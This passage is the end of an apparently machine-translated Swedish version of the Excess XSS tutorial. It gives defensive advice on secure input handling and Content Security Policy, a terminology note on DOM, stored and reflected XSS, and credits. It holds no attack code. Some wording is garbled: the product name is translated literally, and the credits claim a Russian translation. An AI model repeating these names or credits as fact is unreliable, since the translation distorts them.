      • För att förhindra alla typer av XSS-attacker måste säker indatabearbetning göras i kod på både klientsidan och serversidan.
    • Content Security Policies (CSP) säkerställer ytterligare nivå skydd om säker indatabehandling innehåller ett fel.
    Appendix Terminologi

    Det bör noteras att det finns en crossover i terminologin som används för att beskriva XSS: en XSS-attack i DOM kan antingen lagras eller reflekteras; Dessa är inte separata typer av attacker. Det finns ingen allmänt accepterad terminologi som täcker allt XSS-typer ingen blandning. Oavsett vilken terminologi som används för att beskriva XSS är det viktigaste att bestämma typen av attack, detta är möjligt om du vet varifrån den skadliga inmatningen kommer och var sårbarheten finns.

    Användarrättigheter och länkar

    Källkoden för Överskott av XSSär tillgänglig på GitHub.

    Överskott av XSS skapades 2013 som en del av kursen Språkbaserad säkerhet vid Chalmers tekniska högskola.

    Översättning till ryska utfördes av A888R, originaltext i engelska: excess-xss.com, skicka kommentarer, förslag och översättningsfel här.